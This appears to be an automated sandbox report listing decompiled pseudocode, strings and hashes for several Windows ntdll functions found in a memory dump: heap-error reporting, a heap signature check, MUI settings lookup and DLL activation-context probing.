Function 04BD1C06, Relevance: 31.4, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E04BD1C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0x4af48a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E04B1B150();
				} else {
					E04B1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0x4c0589c);
				E04B1B150("Heap error detected at %p (heap handle %p)\n",  *0x4c058a0);
				_t27 =  *0x4c05898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M04BD1E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E04B1B150();
				} else {
					E04B1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E04B1B150("Error code: %d - %s\n",  *0x4c05898);
				_t113 =  *0x4c058a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E04B1B150();
					} else {
						E04B1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E04B1B150("Parameter1: %p\n",  *0x4c058a4);
				}
				_t115 =  *0x4c058a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E04B1B150();
					} else {
						E04B1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E04B1B150("Parameter2: %p\n",  *0x4c058a8);
				}
				_t117 =  *0x4c058ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E04B1B150();
					} else {
						E04B1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E04B1B150("Parameter3: %p\n",  *0x4c058ac);
				}
				_t119 =  *0x4c058b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E04B1B150();
					} else {
						E04B1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0x4c058b4);
					E04B1B150("Last known valid blocks: before - %p, after - %p\n",  *0x4c058b0);
				} else {
					_t120 =  *0x4c058b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E04B1B150();
				} else {
					E04B1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E04B1B150("Stack trace available at %p\n", 0x4c058c0);
			}

0x04bd1c10
0x04bd1c16
0x04bd1c1e
0x04bd1c3d
0x04bd1c3e
0x04bd1c20
0x04bd1c35
0x04bd1c3a
0x04bd1c44
0x04bd1c55
0x04bd1c5a
0x04bd1c65
0x04bd1c67
0x00000000
0x04bd1c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x04bd1c67
0x04bd1cdc
0x04bd1ce5
0x04bd1d04
0x04bd1d05
0x04bd1ce7
0x04bd1cfc
0x04bd1d01
0x04bd1d0b
0x04bd1d17
0x04bd1d1f
0x04bd1d25
0x04bd1d30
0x04bd1d4f
0x04bd1d50
0x04bd1d32
0x04bd1d47
0x04bd1d4c
0x04bd1d61
0x04bd1d67
0x04bd1d68
0x04bd1d6e
0x04bd1d79
0x04bd1d98
0x04bd1d99
0x04bd1d7b
0x04bd1d90
0x04bd1d95
0x04bd1daa
0x04bd1db0
0x04bd1db1
0x04bd1db7
0x04bd1dc2
0x04bd1de1
0x04bd1de2
0x04bd1dc4
0x04bd1dd9
0x04bd1dde
0x04bd1df3
0x04bd1df9
0x04bd1dfa
0x04bd1e00
0x04bd1e0a
0x04bd1e13
0x04bd1e32
0x04bd1e33
0x04bd1e15
0x04bd1e2a
0x04bd1e2f
0x04bd1e39
0x04bd1e4a
0x04bd1e02
0x04bd1e02
0x04bd1e08
0x00000000
0x00000000
0x04bd1e08
0x04bd1e5b
0x04bd1e7a
0x04bd1e7b
0x04bd1e5d
0x04bd1e72
0x04bd1e77
0x04bd1e95

Strings

heap_failure_virtual_block_corruption, xrefs: 04BD1C91
heap_failure_invalid_allocation_type, xrefs: 04BD1CB4
heap_failure_freelists_corruption, xrefs: 04BD1CC9
heap_failure_unknown, xrefs: 04BD1C75
heap_failure_multiple_entries_corruption, xrefs: 04BD1C8A
Last known valid blocks: before - %p, after - %p, xrefs: 04BD1E45
Error code: %d - %s, xrefs: 04BD1D12
heap_failure_buffer_underrun, xrefs: 04BD1C9F
heap_failure_listentry_corruption, xrefs: 04BD1CD0
heap_failure_block_not_busy, xrefs: 04BD1CA6
heap_failure_internal, xrefs: 04BD1C6E
heap_failure_buffer_overrun, xrefs: 04BD1C98
HEAP[%wZ]: , xrefs: 04BD1C30, 04BD1CF7, 04BD1D42, 04BD1D8B, 04BD1DD4, 04BD1E25, 04BD1E6D
heap_failure_usage_after_free, xrefs: 04BD1CBB
Parameter3: %p, xrefs: 04BD1DEE
Heap error detected at %p (heap handle %p), xrefs: 04BD1C50
Parameter2: %p, xrefs: 04BD1DA5
heap_failure_entry_corruption, xrefs: 04BD1C83
Stack trace available at %p, xrefs: 04BD1E86
HEAP: , xrefs: 04BD1C16, 04BD1C3D, 04BD1D04, 04BD1D4F, 04BD1D98, 04BD1DE1, 04BD1E32, 04BD1E7A
heap_failure_lfh_bitmap_mismatch, xrefs: 04BD1CD7
heap_failure_invalid_argument, xrefs: 04BD1CAD
heap_failure_generic, xrefs: 04BD1C7C
Parameter1: %p, xrefs: 04BD1D5C
heap_failure_cross_heap_operation, xrefs: 04BD1CC2

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 0-2897834094
Opcode ID: 4d2f62eff27a89ac4f160cf65647a52ce94a4a1ef830ed35b1307aafe0934f8a
Instruction ID: eb087677a52b77586344bc1fbc33ba7d4cfc0c62fcc7c0cdb8fb00594068b797
Opcode Fuzzy Hash: 4d2f62eff27a89ac4f160cf65647a52ce94a4a1ef830ed35b1307aafe0934f8a
Instruction Fuzzy Hash: 9161B637665144EFE3119B8CE484E2477A4EB09A3174EC8EAF80E5F251F634FCA19E19

Uniqueness

Uniqueness Score: -1.00%

Function 04B23D34, Relevance: 6.7, Strings: 5, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E04B23D34(signed int* __ecx) {
				signed int* _v8;
				char _v12;
				signed int* _v16;
				signed int* _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int* _v48;
				signed int* _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				signed int _t140;
				signed int _t161;
				signed int* _t236;
				signed int* _t242;
				signed int* _t243;
				signed int* _t244;
				signed int* _t245;
				signed int _t255;
				void* _t257;
				signed int _t260;
				void* _t262;
				signed int _t264;
				void* _t267;
				signed int _t275;
				signed int* _t276;
				short* _t277;
				signed int* _t278;
				signed int* _t279;
				signed int* _t280;
				short* _t281;
				signed int* _t282;
				short* _t283;
				signed int* _t284;
				void* _t285;

				_v60 = _v60 | 0xffffffff;
				_t280 = 0;
				_t242 = __ecx;
				_v52 = __ecx;
				_v8 = 0;
				_v20 = 0;
				_v40 = 0;
				_v28 = 0;
				_v32 = 0;
				_v44 = 0;
				_v56 = 0;
				_t275 = 0;
				_v16 = 0;
				if(__ecx == 0) {
					_t280 = 0xc000000d;
					_t140 = 0;
					L50:
					 *_t242 =  *_t242 | 0x00000800;
					_t242[0x13] = _t140;
					_t242[0x16] = _v40;
					_t242[0x18] = _v28;
					_t242[0x14] = _v32;
					_t242[0x17] = _t275;
					_t242[0x15] = _v44;
					_t242[0x11] = _v56;
					_t242[0x12] = _v60;
					return _t280;
				}
				if(E04B21B8F(L"WindowsExcludedProcs",  &_v36,  &_v12,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
					}
					_v8 = _t280;
				}
				if(E04B21B8F(L"Kernel-MUI-Number-Allowed",  &_v36,  &_v12,  &_v8) >= 0) {
					_v60 =  *_v8;
					L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v8);
					_v8 = _t280;
				}
				if(E04B21B8F(L"Kernel-MUI-Language-Allowed",  &_v36,  &_v12,  &_v8) < 0) {
					L16:
					if(E04B21B8F(L"Kernel-MUI-Language-Disallowed",  &_v36,  &_v12,  &_v8) < 0) {
						L28:
						if(E04B21B8F(L"Kernel-MUI-Language-SKU",  &_v36,  &_v12,  &_v8) < 0) {
							L46:
							_t275 = _v16;
							L47:
							_t161 = 0;
							L48:
							if(_v8 != 0) {
								L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t161, _v8);
							}
							_t140 = _v20;
							if(_t140 != 0) {
								if(_t275 != 0) {
									L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t275);
									_t275 = 0;
									_v28 = 0;
									_t140 = _v20;
								}
							}
							goto L50;
						}
						_t167 = _v12;
						_t255 = _v12 + 4;
						_v44 = _t255;
						if(_t255 == 0) {
							_t276 = _t280;
							_v32 = _t280;
						} else {
							_t276 = L04B34620(_t255,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t255);
							_t167 = _v12;
							_v32 = _t276;
						}
						if(_t276 == 0) {
							_v44 = _t280;
							_t280 = 0xc0000017;
							goto L46;
						} else {
							E04B5F3E0(_t276, _v8, _t167);
							_v48 = _t276;
							_t277 = E04B61370(_t276, 0x4af4e90);
							_pop(_t257);
							if(_t277 == 0) {
								L38:
								_t170 = _v48;
								if( *_v48 != 0) {
									E04B5BB40(0,  &_v68, _t170);
									if(L04B243C0( &_v68,  &_v24) != 0) {
										_t280 =  &(_t280[0]);
									}
								}
								if(_t280 == 0) {
									_t280 = 0;
									L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v32);
									_v44 = 0;
									_v32 = 0;
								} else {
									_t280 = 0;
								}
								_t174 = _v8;
								if(_v8 != 0) {
									L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t174);
								}
								_v8 = _t280;
								goto L46;
							}
							_t243 = _v48;
							do {
								 *_t277 = 0;
								_t278 = _t277 + 2;
								E04B5BB40(_t257,  &_v68, _t243);
								if(L04B243C0( &_v68,  &_v24) != 0) {
									_t280 =  &(_t280[0]);
								}
								_t243 = _t278;
								_t277 = E04B61370(_t278, 0x4af4e90);
								_pop(_t257);
							} while (_t277 != 0);
							_v48 = _t243;
							_t242 = _v52;
							goto L38;
						}
					}
					_t191 = _v12;
					_t260 = _v12 + 4;
					_v28 = _t260;
					if(_t260 == 0) {
						_t275 = _t280;
						_v16 = _t280;
					} else {
						_t275 = L04B34620(_t260,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t260);
						_t191 = _v12;
						_v16 = _t275;
					}
					if(_t275 == 0) {
						_v28 = _t280;
						_t280 = 0xc0000017;
						goto L47;
					} else {
						E04B5F3E0(_t275, _v8, _t191);
						_t285 = _t285 + 0xc;
						_v48 = _t275;
						_t279 = _t280;
						_t281 = E04B61370(_v16, 0x4af4e90);
						_pop(_t262);
						if(_t281 != 0) {
							_t244 = _v48;
							do {
								 *_t281 = 0;
								_t282 = _t281 + 2;
								E04B5BB40(_t262,  &_v68, _t244);
								if(L04B243C0( &_v68,  &_v24) != 0) {
									_t279 =  &(_t279[0]);
								}
								_t244 = _t282;
								_t281 = E04B61370(_t282, 0x4af4e90);
								_pop(_t262);
							} while (_t281 != 0);
							_v48 = _t244;
							_t242 = _v52;
						}
						_t201 = _v48;
						_t280 = 0;
						if( *_v48 != 0) {
							E04B5BB40(_t262,  &_v68, _t201);
							if(L04B243C0( &_v68,  &_v24) != 0) {
								_t279 =  &(_t279[0]);
							}
						}
						if(_t279 == 0) {
							L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v16);
							_v28 = _t280;
							_v16 = _t280;
						}
						_t202 = _v8;
						if(_v8 != 0) {
							L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t202);
						}
						_v8 = _t280;
						goto L28;
					}
				}
				_t214 = _v12;
				_t264 = _v12 + 4;
				_v40 = _t264;
				if(_t264 == 0) {
					_v20 = _t280;
				} else {
					_t236 = L04B34620(_t264,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t264);
					_t280 = _t236;
					_v20 = _t236;
					_t214 = _v12;
				}
				if(_t280 == 0) {
					_t161 = 0;
					_t280 = 0xc0000017;
					_v40 = 0;
					goto L48;
				} else {
					E04B5F3E0(_t280, _v8, _t214);
					_t285 = _t285 + 0xc;
					_v48 = _t280;
					_t283 = E04B61370(_t280, 0x4af4e90);
					_pop(_t267);
					if(_t283 != 0) {
						_t245 = _v48;
						do {
							 *_t283 = 0;
							_t284 = _t283 + 2;
							E04B5BB40(_t267,  &_v68, _t245);
							if(L04B243C0( &_v68,  &_v24) != 0) {
								_t275 = _t275 + 1;
							}
							_t245 = _t284;
							_t283 = E04B61370(_t284, 0x4af4e90);
							_pop(_t267);
						} while (_t283 != 0);
						_v48 = _t245;
						_t242 = _v52;
					}
					_t224 = _v48;
					_t280 = 0;
					if( *_v48 != 0) {
						E04B5BB40(_t267,  &_v68, _t224);
						if(L04B243C0( &_v68,  &_v24) != 0) {
							_t275 = _t275 + 1;
						}
					}
					if(_t275 == 0) {
						L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v20);
						_v40 = _t280;
						_v20 = _t280;
					}
					_t225 = _v8;
					if(_v8 != 0) {
						L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t225);
					}
					_v8 = _t280;
					goto L16;
				}
			}

0x04b23d3c
0x04b23d42
0x04b23d44
0x04b23d46
0x04b23d49
0x04b23d4c
0x04b23d4f
0x04b23d52
0x04b23d55
0x04b23d58
0x04b23d5b
0x04b23d5f
0x04b23d61
0x04b23d66
0x04b78213
0x04b78218
0x04b24085
0x04b24088
0x04b2408e
0x04b24094
0x04b2409a
0x04b240a0
0x04b240a6
0x04b240a9
0x04b240af
0x04b240b6
0x04b240bd
0x04b240bd
0x04b23d83
0x04b7821f
0x04b78229
0x04b78238
0x04b78238
0x04b7823d
0x04b7823d
0x04b23da0
0x04b23daf
0x04b23db5
0x04b23dba
0x04b23dba
0x04b23dd4
0x04b23e94
0x04b23eab
0x04b23f6d
0x04b23f84
0x04b2406b
0x04b2406b
0x04b2406e
0x04b2406e
0x04b24070
0x04b24074
0x04b78351
0x04b78351
0x04b2407a
0x04b2407f
0x04b7835d
0x04b78370
0x04b78377
0x04b78379
0x04b7837c
0x04b7837c
0x04b7835d
0x00000000
0x04b2407f
0x04b23f8a
0x04b23f8d
0x04b23f90
0x04b23f95
0x04b7830d
0x04b7830f
0x04b23f9b
0x04b23fac
0x04b23fae
0x04b23fb1
0x04b23fb1
0x04b23fb6
0x04b78317
0x04b7831a
0x00000000
0x04b23fbc
0x04b23fc1
0x04b23fc9
0x04b23fd7
0x04b23fda
0x04b23fdd
0x04b24021
0x04b24021
0x04b24029
0x04b24030
0x04b24044
0x04b24046
0x04b24046
0x04b24044
0x04b24049
0x04b78327
0x04b78334
0x04b78339
0x04b7833c
0x04b2404f
0x04b2404f
0x04b2404f
0x04b24051
0x04b24056
0x04b24063
0x04b24063
0x04b24068
0x00000000
0x04b24068
0x04b23fdf
0x04b23fe2
0x04b23fe4
0x04b23fe7
0x04b23fef
0x04b24003
0x04b24005
0x04b24005
0x04b2400c
0x04b24013
0x04b24016
0x04b24017
0x04b2401b
0x04b2401e
0x00000000
0x04b2401e
0x04b23fb6
0x04b23eb1
0x04b23eb4
0x04b23eb7
0x04b23ebc
0x04b782a9
0x04b782ab
0x04b23ec2
0x04b23ed3
0x04b23ed5
0x04b23ed8
0x04b23ed8
0x04b23edd
0x04b782b3
0x04b782b6
0x00000000
0x04b23ee3
0x04b23ee8
0x04b23eed
0x04b23ef0
0x04b23ef3
0x04b23f02
0x04b23f05
0x04b23f08
0x04b782c0
0x04b782c3
0x04b782c5
0x04b782c8
0x04b782d0
0x04b782e4
0x04b782e6
0x04b782e6
0x04b782ed
0x04b782f4
0x04b782f7
0x04b782f8
0x04b782fc
0x04b782ff
0x04b782ff
0x04b23f0e
0x04b23f11
0x04b23f16
0x04b23f1d
0x04b23f31
0x04b78307
0x04b78307
0x04b23f31
0x04b23f39
0x04b23f48
0x04b23f4d
0x04b23f50
0x04b23f50
0x04b23f53
0x04b23f58
0x04b23f65
0x04b23f65
0x04b23f6a
0x00000000
0x04b23f6a
0x04b23edd
0x04b23dda
0x04b23ddd
0x04b23de0
0x04b23de5
0x04b78245
0x04b23deb
0x04b23df7
0x04b23dfc
0x04b23dfe
0x04b23e01
0x04b23e01
0x04b23e06
0x04b7824d
0x04b7824f
0x04b78254
0x00000000
0x04b23e0c
0x04b23e11
0x04b23e16
0x04b23e19
0x04b23e29
0x04b23e2c
0x04b23e2f
0x04b7825c
0x04b7825f
0x04b78261
0x04b78264
0x04b7826c
0x04b78280
0x04b78282
0x04b78282
0x04b78289
0x04b78290
0x04b78293
0x04b78294
0x04b78298
0x04b7829b
0x04b7829b
0x04b23e35
0x04b23e38
0x04b23e3d
0x04b23e44
0x04b23e58
0x04b782a3
0x04b782a3
0x04b23e58
0x04b23e60
0x04b23e6f
0x04b23e74
0x04b23e77
0x04b23e77
0x04b23e7a
0x04b23e7f
0x04b23e8c
0x04b23e8c
0x04b23e91
0x00000000
0x04b23e91

Strings

Kernel-MUI-Language-Allowed, xrefs: 04B23DC0
Kernel-MUI-Language-Disallowed, xrefs: 04B23E97
Kernel-MUI-Number-Allowed, xrefs: 04B23D8C
Kernel-MUI-Language-SKU, xrefs: 04B23F70
WindowsExcludedProcs, xrefs: 04B23D6F

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: 7c6ffde4d828646d2ceb08a4a27d149f1fe8885cc64276e1845c1162783bc2bd
Instruction ID: fca78cd3355635b8bc58319ab49a41ed998ca8cbc0443c0d6a090eff1847b774
Opcode Fuzzy Hash: 7c6ffde4d828646d2ceb08a4a27d149f1fe8885cc64276e1845c1162783bc2bd
Instruction Fuzzy Hash: 3DF13071D00628EFDB11DFA8CA44AEFB7B9FF08750F15409AE905A7610E734AE01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04B140E1, Relevance: 6.3, Strings: 5, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E04B140E1(void* __edx) {
				void* _t19;
				void* _t29;

				_t28 = _t19;
				_t29 = __edx;
				if( *((intOrPtr*)(_t19 + 0x60)) != 0xeeffeeff) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E04B1B150();
					} else {
						E04B1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E04B1B150("Invalid heap signature for heap at %p", _t28);
					if(_t29 != 0) {
						E04B1B150(", passed to %s", _t29);
					}
					_push("\n");
					E04B1B150();
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x4c06378 = 1;
						asm("int3");
						 *0x4c06378 = 0;
					}
					return 0;
				}
				return 1;
			}

0x04b140e6
0x04b140e8
0x04b140f1
0x04b7042d
0x04b7044c
0x04b70451
0x04b7042f
0x04b70444
0x04b70449
0x04b7045d
0x04b70466
0x04b7046e
0x04b70474
0x04b70475
0x04b7047a
0x04b7048a
0x04b7048c
0x04b70493
0x04b70494
0x04b70494
0x00000000
0x04b7049b
0x00000000

Strings

RtlAllocateHeap, xrefs: 04B70468
HEAP: , xrefs: 04B7044C
HEAP[%wZ]: , xrefs: 04B7043F
Invalid heap signature for heap at %p, xrefs: 04B70458
, passed to %s, xrefs: 04B70469

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlAllocateHeap
API String ID: 0-188067316
Opcode ID: 4bb3bb662313728ae37731c50eca9957e28ea0c738b334e6b39b321ff9d81b65
Instruction ID: e1224d8efd8e89b0027ddb9e4b888a7270ad4f7eb931e6e47b2bf80d1c78819c
Opcode Fuzzy Hash: 4bb3bb662313728ae37731c50eca9957e28ea0c738b334e6b39b321ff9d81b65
Instruction Fuzzy Hash: 00017032265240BFE325ABA8E80DF5277B4EB07F30F1A40EAF00447652CAA4B8A1C650

Uniqueness

Uniqueness Score: -1.00%

Function 04B48E00, Relevance: 5.1, Strings: 4, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E04B48E00(void* __ecx) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t32;
				intOrPtr _t35;
				intOrPtr _t43;
				void* _t46;
				intOrPtr _t47;
				void* _t48;
				signed int _t49;
				void* _t50;
				intOrPtr* _t51;
				signed int _t52;
				void* _t53;
				intOrPtr _t55;

				_v8 =  *0x4c0d360 ^ _t52;
				_t49 = 0;
				_t48 = __ecx;
				_t55 =  *0x4c08464; // 0x73b80110
				if(_t55 == 0) {
					L9:
					if( !_t49 >= 0) {
						if(( *0x4c05780 & 0x00000003) != 0) {
							E04B95510("minkernel\\ntdll\\ldrsnap.c", 0x2b5, "LdrpFindDllActivationContext", 0, "Querying the active activation context failed with status 0x%08lx\n", _t49);
						}
						if(( *0x4c05780 & 0x00000010) != 0) {
							asm("int3");
						}
					}
					return E04B5B640(_t49, 0, _v8 ^ _t52, _t47, _t48, _t49);
				}
				_t47 =  *((intOrPtr*)(__ecx + 0x18));
				_t43 =  *0x4c07984; // 0x2f11df0
				if( *((intOrPtr*)( *[fs:0x30] + 0x1f8)) == 0 || __ecx != _t43) {
					_t32 =  *((intOrPtr*)(_t48 + 0x28));
					if(_t48 == _t43) {
						_t50 = 0x5c;
						if( *_t32 == _t50) {
							_t46 = 0x3f;
							if( *((intOrPtr*)(_t32 + 2)) == _t46 &&  *((intOrPtr*)(_t32 + 4)) == _t46 &&  *((intOrPtr*)(_t32 + 6)) == _t50 &&  *((intOrPtr*)(_t32 + 8)) != 0 &&  *((short*)(_t32 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t32 + 0xc)) == _t50) {
								_t32 = _t32 + 8;
							}
						}
					}
					_t51 =  *0x4c08464; // 0x73b80110
					 *0x4c0b1e0(_t47, _t32,  &_v12);
					_t49 =  *_t51();
					if(_t49 >= 0) {
						L8:
						_t35 = _v12;
						if(_t35 != 0) {
							if( *((intOrPtr*)(_t48 + 0x48)) != 0) {
								E04B49B10( *((intOrPtr*)(_t48 + 0x48)));
								_t35 = _v12;
							}
							 *((intOrPtr*)(_t48 + 0x48)) = _t35;
						}
						goto L9;
					}
					if(_t49 != 0xc000008a) {
						if(_t49 != 0xc000008b && _t49 != 0xc0000089 && _t49 != 0xc000000f && _t49 != 0xc0000204 && _t49 != 0xc0000002) {
							if(_t49 != 0xc00000bb) {
								goto L8;
							}
						}
					}
					if(( *0x4c05780 & 0x00000005) != 0) {
						_push(_t49);
						E04B95510("minkernel\\ntdll\\ldrsnap.c", 0x298, "LdrpFindDllActivationContext", 2, "Probing for the manifest of DLL \"%wZ\" failed with status 0x%08lx\n", _t48 + 0x24);
						_t53 = _t53 + 0x1c;
					}
					_t49 = 0;
					goto L8;
				} else {
					goto L9;
				}
			}

0x04b48e0f
0x04b48e16
0x04b48e19
0x04b48e1b
0x04b48e21
0x04b48e7f
0x04b48e85
0x04b89354
0x04b8936c
0x04b89371
0x04b8937b
0x04b89381
0x04b89381
0x04b8937b
0x04b48e9d
0x04b48e9d
0x04b48e29
0x04b48e2c
0x04b48e38
0x04b48e3e
0x04b48e43
0x04b48eb5
0x04b48eb9
0x04b892aa
0x04b892af
0x04b892e8
0x04b892e8
0x04b892af
0x04b48eb9
0x04b48e45
0x04b48e53
0x04b48e5b
0x04b48e5f
0x04b48e78
0x04b48e78
0x04b48e7d
0x04b48ec3
0x04b48ecd
0x04b48ed2
0x04b48ed2
0x04b48ec5
0x04b48ec5
0x00000000
0x04b48e7d
0x04b48e67
0x04b48ea4
0x04b8931a
0x00000000
0x00000000
0x04b89320
0x04b48ea4
0x04b48e70
0x04b89325
0x04b89340
0x04b89345
0x04b89345
0x04b48e76
0x00000000
0x00000000
0x00000000
0x00000000

Strings

Querying the active activation context failed with status 0x%08lx, xrefs: 04B89357
Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 04B8932A
LdrpFindDllActivationContext, xrefs: 04B89331, 04B8935D
minkernel\ntdll\ldrsnap.c, xrefs: 04B8933B, 04B89367

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
API String ID: 0-3779518884
Opcode ID: 457311d3479bbe54a11866dfa1852330fa5d547bcdccfa4cb6289abb5dd58c59
Instruction ID: 0a37671da732073762728bbe7488c8ff4ac2aebff7fbb9ae88ae14d8e6805163
Opcode Fuzzy Hash: 457311d3479bbe54a11866dfa1852330fa5d547bcdccfa4cb6289abb5dd58c59
Instruction Fuzzy Hash: 2941293AA80311AFDF35BE58C848B36B2B4FB84754F0689E9E90857150E770BEC0E6C1

Uniqueness

Uniqueness Score: -1.00%

Function 04BD49A4, Relevance: 5.1, Strings: 4, Instructions: 114COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 04BD4A4A, 04BD4A5D, 04BD4A5F, 04BD4AC4
HEAP[%wZ]: , xrefs: 04BD4A3D, 04BD4AB7
This is located in the %s field of the heap header., xrefs: 04BD4AD6
Heap %p - headers modified (%p is %lx instead of %lx), xrefs: 04BD4A61

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
